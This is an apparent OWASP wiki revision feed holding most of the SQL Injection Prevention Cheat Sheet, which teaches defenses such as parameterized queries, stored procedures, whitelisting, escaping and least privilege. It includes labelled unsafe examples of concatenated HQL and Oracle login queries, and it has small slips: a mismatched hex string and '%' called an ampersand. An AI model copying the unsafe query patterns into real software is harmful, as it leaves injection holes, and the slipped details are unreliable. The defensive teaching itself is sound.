In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.&lt;br /&gt;
&lt;br /&gt;
;Safe Java Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.&lt;br /&gt;
&lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated too&lt;br /&gt;
  // perform input validation to detect attacks&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ? &amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  '''PreparedStatement pstmt = connection.prepareStatement( query );'''&lt;br /&gt;
  '''pstmt.setString( 1, custname); '''&lt;br /&gt;
  ResultSet results = pstmt.executeQuery( );&lt;br /&gt;
&lt;br /&gt;
;Safe C# .NET Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.&lt;br /&gt;
 &lt;br /&gt;
  String query = &lt;br /&gt;
  	 &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ?&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
  	OleDbCommand command = new OleDbCommand(query, connection);&lt;br /&gt;
  	'''command.Parameters.Add(new OleDbParameter(&amp;quot;customerName&amp;quot;, CustomerName Name.Text));'''&lt;br /&gt;
  	OleDbDataReader reader = command.ExecuteReader();&lt;br /&gt;
  	// …&lt;br /&gt;
  } catch (OleDbException se) {&lt;br /&gt;
  	// error handling&lt;br /&gt;
  } &lt;br /&gt;
&lt;br /&gt;
We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:&lt;br /&gt;
&lt;br /&gt;
;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples	&lt;br /&gt;
&lt;br /&gt;
  First is an unsafe HQL Statement&lt;br /&gt;
  &lt;br /&gt;
  Query unsafeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID='&amp;quot;+userSuppliedParameter+&amp;quot;'&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  Here is a safe version of the same query using named parameters&lt;br /&gt;
  &lt;br /&gt;
  Query safeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID=:productid&amp;quot;);&lt;br /&gt;
  safeHQLQuery.setParameter(&amp;quot;productid&amp;quot;, userSuppliedParameter);&lt;br /&gt;
&lt;br /&gt;
For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.&lt;br /&gt;
&lt;br /&gt;
Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.&lt;br /&gt;
&lt;br /&gt;
== Defense Option 2: Stored Procedures ==&lt;br /&gt;
 &lt;br /&gt;
Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.&lt;br /&gt;
 	&lt;br /&gt;
&amp;amp;#42;Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.&lt;br /&gt;
 &lt;br /&gt;
There are also several cases where stored procedures can increase risk.  For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8&lt;br /&gt;
&lt;br /&gt;
;Safe Java Stored Procedure Example&lt;br /&gt;
&lt;br /&gt;
The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated&lt;br /&gt;
  try {&lt;br /&gt;
  	'''CallableStatement cs = connection.prepareCall(&amp;quot;{call sp_getAccountBalance(?)}&amp;quot;);'''&lt;br /&gt;
  	'''cs.setString(1, custname);'''&lt;br /&gt;
  	ResultSet results = cs.executeQuery();		&lt;br /&gt;
  	// … result set handling &lt;br /&gt;
  } catch (SQLException se) {			&lt;br /&gt;
  	// … logging and error handling&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
;Safe VB .NET Stored Procedure Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  Try&lt;br /&gt;
  	Dim command As SqlCommand = new SqlCommand(&amp;quot;sp_getAccountBalance&amp;quot;, connection)&lt;br /&gt;
  	'''command.CommandType = CommandType.StoredProcedure'''&lt;br /&gt;
  	'''command.Parameters.Add(new SqlParameter(&amp;quot;@CustomerName&amp;quot;, CustomerName.Text))'''&lt;br /&gt;
  	Dim reader As SqlDataReader = command.ExecuteReader()&lt;br /&gt;
  	‘ …&lt;br /&gt;
  Catch se As SqlException &lt;br /&gt;
  	‘ error handling&lt;br /&gt;
  End Try&lt;br /&gt;
&lt;br /&gt;
== Defense Option 3: White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.&lt;br /&gt;
&lt;br /&gt;
  String tableName;&lt;br /&gt;
  switch(PARAM):&lt;br /&gt;
    case &amp;quot;Value1&amp;quot;: tableName = &amp;quot;fooTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
    case &amp;quot;Value2&amp;quot;: tableName = &amp;quot;barTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
      ...&lt;br /&gt;
    default      : throw new InputValidationException(&amp;quot;unexpected value provided for table name&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.&lt;br /&gt;
&lt;br /&gt;
For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:&lt;br /&gt;
&lt;br /&gt;
  public String someMethod(boolean sortOrder) {&lt;br /&gt;
  &lt;br /&gt;
  String SQLquery = &amp;quot;some SQL ... order by Salary &amp;quot; + (sortOrder ? &amp;quot;ASC&amp;quot; : &amp;quot;DESC&amp;quot;);&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.&lt;br /&gt;
&lt;br /&gt;
Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
==Defense Option 4: Escaping All User-Supplied Input==&lt;br /&gt;
&lt;br /&gt;
This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations. &lt;br /&gt;
&lt;br /&gt;
This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.&lt;br /&gt;
&lt;br /&gt;
This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.&lt;br /&gt;
&lt;br /&gt;
* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].&lt;br /&gt;
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.&lt;br /&gt;
* [https://github.com/esapi/esapi-java-legacy The legacy ESAPI for Java 2.x at GitHub] helps understand existing use of it when Javadoc seems insufficient.&lt;br /&gt;
* [https://github.com/esapi/esapi-java The active ESAPI for Java 3.x GitHub] contains current development.&lt;br /&gt;
&lt;br /&gt;
To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.&lt;br /&gt;
&lt;br /&gt;
Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.&lt;br /&gt;
&lt;br /&gt;
At this time, ESAPI currently has database encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* MySQL (Both ANSI and native modes are supported)&lt;br /&gt;
&lt;br /&gt;
Database encoders are forthcoming for:&lt;br /&gt;
* SQL Server&lt;br /&gt;
* PostgreSQL&lt;br /&gt;
&lt;br /&gt;
If your database encoder is missing, please let us know.&lt;br /&gt;
&lt;br /&gt;
===Database Specific Escaping Details===&lt;br /&gt;
&lt;br /&gt;
If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* SQL Server&lt;br /&gt;
* DB2&lt;br /&gt;
&lt;br /&gt;
====Oracle Escaping====&lt;br /&gt;
&lt;br /&gt;
This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F&lt;br /&gt;
&lt;br /&gt;
=====Escaping Dynamic Queries=====&lt;br /&gt;
&lt;br /&gt;
To use an ESAPI database codec is pretty simple. An Oracle example looks something like:&lt;br /&gt;
  ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );&lt;br /&gt;
&lt;br /&gt;
So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + req.getParameter(&amp;quot;userID&amp;quot;) &lt;br /&gt;
  + &amp;quot;' and user_password = '&amp;quot; + req.getParameter(&amp;quot;pwd&amp;quot;) +&amp;quot;'&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
      Statement statement = connection.createStatement( … );&lt;br /&gt;
      ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
You would rewrite the first line to look like this:&lt;br /&gt;
&lt;br /&gt;
 '''Codec ORACLE_CODEC = new OracleCodec();'''&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + &lt;br /&gt;
    '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot;&lt;br /&gt;
    + '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
And it would now be safe from SQL injection, regardless of the input supplied.&lt;br /&gt;
&lt;br /&gt;
For maximum code readability, you could also construct your own OracleEncoder.&lt;br /&gt;
&lt;br /&gt;
  Encoder oe = new OracleEncoder();&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.&lt;br /&gt;
&lt;br /&gt;
=====Turn off character replacement=====&lt;br /&gt;
&lt;br /&gt;
Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the &amp;amp; character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data. &lt;br /&gt;
&lt;br /&gt;
See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information&lt;br /&gt;
&lt;br /&gt;
=====Escaping Wildcard characters in Like Clauses=====&lt;br /&gt;
&lt;br /&gt;
The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%/_%' ESCAPE '/';&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%\%%' ESCAPE '\';&lt;br /&gt;
&lt;br /&gt;
=====Oracle 10g escaping=====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====MySQL Escaping====&lt;br /&gt;
&lt;br /&gt;
MySQL supports two escaping modes:&lt;br /&gt;
&lt;br /&gt;
# ANSI_QUOTES SQL mode, and a mode with this off, which we call&lt;br /&gt;
# MySQL mode.&lt;br /&gt;
&lt;br /&gt;
ANSI SQL mode: Simply encode all ' (single tick) characters with '&amp;amp;#39; (two single ticks)&lt;br /&gt;
&lt;br /&gt;
MySQL mode, do the following:&lt;br /&gt;
&lt;br /&gt;
  NUL (0x00) --&amp;gt; \0  [This is a zero, not the letter O]&lt;br /&gt;
  BS  (0x08) --&amp;gt; \b&lt;br /&gt;
  TAB (0x09) --&amp;gt; \t&lt;br /&gt;
  LF  (0x0a) --&amp;gt; \n&lt;br /&gt;
  CR  (0x0d) --&amp;gt; \r&lt;br /&gt;
  SUB (0x1a) --&amp;gt; \Z&lt;br /&gt;
  &amp;quot;   (0x22) --&amp;gt; \&amp;quot;&lt;br /&gt;
  %   (0x25) --&amp;gt; \%&lt;br /&gt;
  '   (0x27) --&amp;gt; \'&lt;br /&gt;
  \   (0x5c) --&amp;gt; \\&lt;br /&gt;
  _   (0x5f) --&amp;gt; \_ &lt;br /&gt;
  all other non-alphanumeric characters with ASCII values less than 256  --&amp;gt; \c&lt;br /&gt;
  where 'c' is the original non-alphanumeric character.&lt;br /&gt;
&lt;br /&gt;
This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html&lt;br /&gt;
&lt;br /&gt;
====SQL Server Escaping====&lt;br /&gt;
&lt;br /&gt;
We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server&lt;br /&gt;
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====DB2 Escaping====&lt;br /&gt;
This information is based on DB2 WebQuery special characters found here:  https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983&lt;br /&gt;
as well as some information from Oracle's JDBC DB2 driver found here:&lt;br /&gt;
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html&lt;br /&gt;
&lt;br /&gt;
Information in regards to differences between several DB2 Universal drivers can be found here:  http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm&lt;br /&gt;
&lt;br /&gt;
===Hex-encoding all input===&lt;br /&gt;
&lt;br /&gt;
A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character).  The web application should hex-encode the user input before including it in the SQL statement.  The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:&lt;br /&gt;
&lt;br /&gt;
    SELECT ... FROM session&lt;br /&gt;
    WHERE hex_encode (sessionID) = '616263313233'&lt;br /&gt;
&lt;br /&gt;
(hex_encode should be replaced by the particular facility for the database being used.)  The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).&lt;br /&gt;
&lt;br /&gt;
If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:&lt;br /&gt;
&lt;br /&gt;
    WHERE hex_encode ( ... ) = '2720 ... '&lt;br /&gt;
&lt;br /&gt;
27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string.  The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.&lt;br /&gt;
&lt;br /&gt;
===Escaping SQLi in PHP===&lt;br /&gt;
&lt;br /&gt;
Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;You basically have two options to achieve this:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $pdo-&amp;gt;prepare('SELECT * FROM employees WHERE name = :name');&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute(array('name' =&amp;gt; $name));&lt;br /&gt;
&lt;br /&gt;
foreach ($stmt as $row) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $dbConnection-&amp;gt;prepare('SELECT * FROM employees WHERE name = ?');&lt;br /&gt;
$stmt-&amp;gt;bind_param('s', $name);&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute();&lt;br /&gt;
&lt;br /&gt;
$result = $stmt-&amp;gt;get_result();&lt;br /&gt;
while ($row = $result-&amp;gt;fetch_assoc()) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL).&lt;br /&gt;
&lt;br /&gt;
= Additional Defenses =&lt;br /&gt;
&lt;br /&gt;
Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:&lt;br /&gt;
&lt;br /&gt;
* '''Least Privilege'''&lt;br /&gt;
* '''White List Input Validation'''&lt;br /&gt;
&lt;br /&gt;
== Least Privilege ==&lt;br /&gt;
&lt;br /&gt;
To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.&lt;br /&gt;
&lt;br /&gt;
If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.&lt;br /&gt;
&lt;br /&gt;
SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.&lt;br /&gt;
&lt;br /&gt;
While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.&lt;br /&gt;
&lt;br /&gt;
=== Multiple DB Users ===&lt;br /&gt;
&lt;br /&gt;
The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.&lt;br /&gt;
&lt;br /&gt;
As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords.  The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself.  Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.&lt;br /&gt;
&lt;br /&gt;
== White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Related Articles=&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection Attack Cheat Sheets'''&lt;br /&gt;
&lt;br /&gt;
The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:&lt;br /&gt;
&lt;br /&gt;
* &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* &amp;quot;Bypassing WAF's with SQLi&amp;quot; - [[SQL Injection Bypassing WAF]]&lt;br /&gt;
&lt;br /&gt;
'''Description of SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* OWASP article on [[SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Avoid SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]&lt;br /&gt;
* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Test for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:jmanico|Jim Manico]] - jim[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Matt Seil - mseil[at]acm.org&amp;lt;br&amp;gt;&lt;br /&gt;
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets = &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237381</id>
		<title>SQL Injection Prevention Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SQL_Injection_Prevention_Cheat_Sheet&amp;diff=237381"/>
				<updated>2018-02-07T03:43:44Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Avoid cross-border injection&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:&lt;br /&gt;
&lt;br /&gt;
# the significant prevalence of SQL Injection vulnerabilities, and &lt;br /&gt;
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).&lt;br /&gt;
&lt;br /&gt;
It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.&lt;br /&gt;
&lt;br /&gt;
SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:&lt;br /&gt;
a) stop writing dynamic queries; and/or&lt;br /&gt;
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.&lt;br /&gt;
&lt;br /&gt;
This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.&lt;br /&gt;
&lt;br /&gt;
Primary Defenses:&lt;br /&gt;
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''&lt;br /&gt;
* '''Option 2: Use of Stored Procedures'''&lt;br /&gt;
* '''Option 3: White List Input Validation'''&lt;br /&gt;
* '''Option 4: Escaping All User Supplied Input'''&lt;br /&gt;
&lt;br /&gt;
Additional Defenses:&lt;br /&gt;
* '''Also: Enforcing Least Privilege'''&lt;br /&gt;
* '''Also: Performing White List Input Validation as a Secondary Defense'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
;Unsafe Example&lt;br /&gt;
&lt;br /&gt;
SQL injection flaws typically look like this:&lt;br /&gt;
&lt;br /&gt;
